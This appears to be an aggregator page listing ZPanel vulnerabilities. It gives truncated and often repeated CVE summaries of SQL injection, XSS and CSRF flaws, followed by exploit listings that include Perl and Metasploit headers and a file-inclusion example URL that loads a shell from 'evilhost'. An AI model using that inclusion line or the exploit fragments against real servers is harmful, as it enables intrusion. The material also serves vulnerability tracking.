CVE-2012-5685

SQL injection vulnerability in ZPanel 10.0.1 and earlier allows remote attackers to execute arbitrary SQL commands via the inEmailAddress parameter in an UpdateClient action in the manageclients module to the default URI...

CVE-2012-5683

Multiple cross-site request forgery CSRF vulnerabilities in ZPanel 10.0.1 and earlier allow remote attackers to hijack the authentication of administrators for requests that 1 create new FTP users via a CreateFTP action in the ftpmanagement module to the default URI, 2 conduct cross-site scriptin...

Cross site scripting

Cross-site scripting XSS vulnerability in ZPanel 10.0.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the inFullname parameter in an UpdateAccountSettings action in the myaccount module to zpanel/...

Sql injection

SQL injection vulnerability in ZPanel 10.0.1 and earlier allows remote attackers to execute arbitrary SQL commands via the inEmailAddress parameter in an UpdateClient action in the manageclients module to the default URI...

Cross site request forgery (csrf)

Multiple cross-site request forgery CSRF vulnerabilities in ZPanel 10.0.1 and earlier allow remote attackers to hijack the authentication of administrators for requests that 1 create new FTP users via a CreateFTP action in the ftpmanagement module to the default URI, 2 conduct cross-site scriptin...

Sql injection

Multiple SQL injection vulnerabilities in ZPanel 10.0.1 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 resetkey or 2 inConfEmail parameter to index.php, a different vulnerability than CVE-2012-5685...

CVE-2012-5683

Multiple cross-site request forgery CSRF vulnerabilities in ZPanel 10.0.1 and earlier allow remote attackers to hijack the authentication of administrators for requests that 1 create new FTP users via a CreateFTP action in the ftpmanagement module to the default URI, 2 conduct cross-site scriptin...

CVE-2012-5683

CVE-2012-5683 affects ZPanel 10.0.1 and earlier, with multiple CSRF vulnerabilities that could hijack administrator sessions via a CreateFTP action in ftp_management, XSS via inFullname in UpdateAccountSettings (my_account), and SQL injection via inEmailAddress in UpdateClient (manage_clients). T...

CVE-2012-6654

CVE-2012-6654 corresponds to multiple SQL injection vulnerabilities in ZPanel 10.0.1 and earlier, allowing remote attackers to execute arbitrary SQL commands via the (1) resetkey or (2) inConfEmail parameters to index.php. This vulnerability is explicitly stated as different from CVE-2012-5685. T...

CVE-2012-5685

SQL injection vulnerability in ZPanel 10.0.1 and earlier allows remote attackers to execute arbitrary SQL commands via the inEmailAddress parameter in an UpdateClient action in the manageclients module to the default URI...

CVE-2012-5684

CVE-2012-5684 is an XSS vulnerability in ZPanel 10.0.1 and earlier. The flaw allows remote attackers to inject arbitrary web script or HTML via the inFullname parameter in the UpdateAccountSettings action in the my_account module (targeting zpanel/). This is part of a broader set of issues report...

CVE-2012-6654

Multiple SQL injection vulnerabilities in ZPanel 10.0.1 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 resetkey or 2 inConfEmail parameter to index.php, a different vulnerability than CVE-2012-5685...

CVE-2012-5684

Cross-site scripting XSS vulnerability in ZPanel 10.0.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the inFullname parameter in an UpdateAccountSettings action in the myaccount module to zpanel/...

CVE-2012-5685

ZPanel 10.0.1 and earlier has an SQL injection in the manage_clients module (UpdateClient action) via the inEmailAddress parameter to the default URI, allowing remote SQL command execution. Affected: ZPanel web backend; impact per sources. No remediation details are provided in the supplied docum...

ZPanel <= 2.5b10 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; ZPanel Ver. 2.5- Public BETA 2 Release date: 1/15/2005 sql injection exploit with one char bruteforce work on all mysql versions -------------------------------------------------------- example: r57zpanel.pl...

ZPanel 10.0.0.2 htpasswd Module Username Command Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

ZPanel <= 10.0.1 CSRF, XSS, SQLi, Password Reset

No description provided by source. Exploit Title: ZPanel = 10.0.1 CSRF, XSS, SQLi, Password Reset Date: 04/11/2012 Exploit Author: pcsjj Vendor Homepage: http://www.zpanelcp.com/ Version: 10.0.1 Software Link: http://sourceforge.net/projects/zpanelcp/files/latest/download Downloads: 90,382 CVE :...

ZPanel zsudo Local Privilege Escalation Exploit

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' require 'rex' require...

ZPanel templateparser.class.php - Crafted Template Remote Command Execution

No description provided by source. Hi all, There's an arbitrary PHP code execution in ZPanel, a free and open-source shared hosting control panel. Using the included zsudo binary, access can be escalated and commands can be run as root. The vulnerability: ZPanel uses a poor templater system that...

ZPanel <= 2.5 - Remote SQL Injection Exploit

No description provided by source. Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code...